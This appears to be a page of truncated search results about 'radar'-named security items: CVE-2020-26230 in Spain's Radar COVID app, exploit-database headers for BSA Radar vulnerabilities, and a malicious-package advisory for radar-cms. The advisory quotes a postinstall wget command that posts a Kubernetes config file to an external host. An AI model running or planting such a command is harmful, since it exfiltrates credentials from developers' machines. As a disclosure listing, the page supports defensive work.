The road to secure crypto: start getting risk management priorities on your threat modeling radar

While attending the biggest event in crypto history earlier this month in Miami, it struck me that, although irrational over-exuberance was the mood, the reality is really sinking in: We are in a new payments industry paradigm shift. Its not a fad anymore, and its not going away. An exclamation t...

Malicious Package

Overview radar-cms is a malicious package. The package was found to have a post-install command which when executed will exfiltrate multiple files from a host machine. PoC "postinstall": "wget --post-file /.kube/config https://entfet95itcxpuu.m.pipedream.net;wget --post-file package.json...

CVE-2020-26230

Radar COVID is the official COVID-19 exposure notification app for Spain. In affected versions of Radar COVID, identification and de-anonymization of COVID-19 positive users that upload Radar COVID TEKs to the Radar COVID server is possible. This vulnerability enables the identification and...

CVE-2020-26230

Radar COVID is the official COVID-19 exposure notification app for Spain. In affected versions of Radar COVID, identification and de-anonymization of COVID-19 positive users that upload Radar COVID TEKs to the Radar COVID server is possible. This vulnerability enables the identification and...

Design/Logic Flaw

Radar COVID is the official COVID-19 exposure notification app for Spain. In affected versions of Radar COVID, identification and de-anonymization of COVID-19 positive users that upload Radar COVID TEKs to the Radar COVID server is possible. This vulnerability enables the identification and...

CVE-2020-26230 Deanonymization of COVID-19 positive users of Radar COVID

Radar COVID is the official COVID-19 exposure notification app for Spain. In affected versions of Radar COVID, identification and de-anonymization of COVID-19 positive users that upload Radar COVID TEKs to the Radar COVID server is possible. This vulnerability enables the identification and...

CVE-2020-26230

CVE-2020-26230 affects Radar COVID (Spain) where positives uploading TEKs to the backend can be identified/de-anonymized by an on-path observer. Root cause: backend communication is made only by COVID-19 positives, enabling traffic correlation across networks (MNOs/ISPs/VPNs or on-path attackers)...

BSA Radar Information Disclosure (CVE-2020-14946)

An information disclosure vulnerability exists in BSA Radar. Successful exploitation of this vulnerability would allow a remote attacker to obtain sensitive information...

BSA Radar 1.6.7234.24750 Local File Inclusion

Exploit title: BSA Radar 1.6.7234.24750 - Local File Inclusion Date: 2020-07-08 Exploit Author: William Summerhill Vendor homepage: https://www.globalradar.com/ Version: BSA Radar - Version 1.6.7234.24750 and lower CVE-2020-14946 - Local File Inclusion Description: The Administrator section of th...

BSA Radar 1.6.7234.24750 - Local File Inclusion Vulnerability

Exploit for multiple platform in category web applications Exploit title: BSA Radar 1.6.7234.24750 - Local File Inclusion Exploit Author: William Summerhill Vendor homepage: https://www.globalradar.com/ Version: BSA Radar - Version 1.6.7234.24750 and lower CVE-2020-14946 - Local File Inclusion...

BSA Radar 1.6.7234.24750 - Local File Inclusion

Exploit title: BSA Radar 1.6.7234.24750 - Local File Inclusion Date: 2020-07-08 Exploit Author: William Summerhill Vendor homepage: https://www.globalradar.com/ Version: BSA Radar - Version 1.6.7234.24750 and lower CVE-2020-14946 - Local File Inclusion Description: The Administrator section of th...

BSA Radar 1.6.7234.24750 Cross Site Request Forgery

Exploit title: BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery Change Password Exploit Author: William Summerhill Date: 2020-06-22 Vendor Homepage:bhttps://www.globalradar.com/ Version: BSA Radar - Version 1.6.7234.24750 and lower CVE: CVE-2020-14944 Description: The Global RADAR BSA Radar...

BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password) Vulnerability

Exploit for hardware platform in category web applications Exploit title: BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery Change Password Exploit Author: William Summerhill Vendor Homepage:bhttps://www.globalradar.com/ Version: BSA Radar - Version 1.6.7234.24750 and lower CVE: CVE-2020-1494...

BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password)

Exploit title: BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery Change Password Exploit Author: William Summerhill Date: 2020-06-22 Vendor Homepage:bhttps://www.globalradar.com/ Version: BSA Radar - Version 1.6.7234.24750 and lower CVE: CVE-2020-14944 Description: The Global RADAR BSA Radar...

BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation Vulnerability

Exploit for multiple platform in category web applications Exploit Title: BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation Exploit Author: William Summerhill Vendor homepage: https://www.globalradar.com/ Version: BSA Radar - Version 1.6.7234.24750 and lower CVE-2020-14945 - Privilege...

BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation

Exploit Title: BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation Date: 2020-07-06 Exploit Author: William Summerhill Vendor homepage: https://www.globalradar.com/ Version: BSA Radar - Version 1.6.7234.24750 and lower CVE-2020-14945 - Privilege Escalation Description: A privilege...

BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting Vulnerability

Exploit for multiple platform in category web applications Exploit title: BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting Exploit Author: William Summerhill Vendor homepage: https://www.globalradar.com/ Tested on: Window CVE-2020-14943 Description: The "Firstname" and "Lastname"...

BSA Radar 1.6.7234.24750 Cross Site Scripting

Exploit title: BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting Exploit Author: William Summerhill Date: 2020-06-22 Vendor homepage: https://www.globalradar.com/ Tested on: Window CVE-2020-14943 Description: The "Firstname" and "Lastname" parameters in Global RADAR BSA Radar 1.6.7234.X...

BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting

Exploit title: BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting Exploit Author: William Summerhill Date: 2020-06-22 Vendor homepage: https://www.globalradar.com/ Tested on: Window CVE-2020-14943 Description: The "Firstname" and "Lastname" parameters in Global RADAR BSA Radar 1.6.7234.X...

Global RADAR BSA Radar Elevation of Privilege Vulnerability

Global RADAR BSA Radar is a suite of anti-money laundering AML solutions for the financial sector from US-based Global RADAR. A security vulnerability exists in Global RADAR BSA Radar 1.6.7234.24750 and prior versions. An attacker can exploit this vulnerability by modifying SaveUser data to...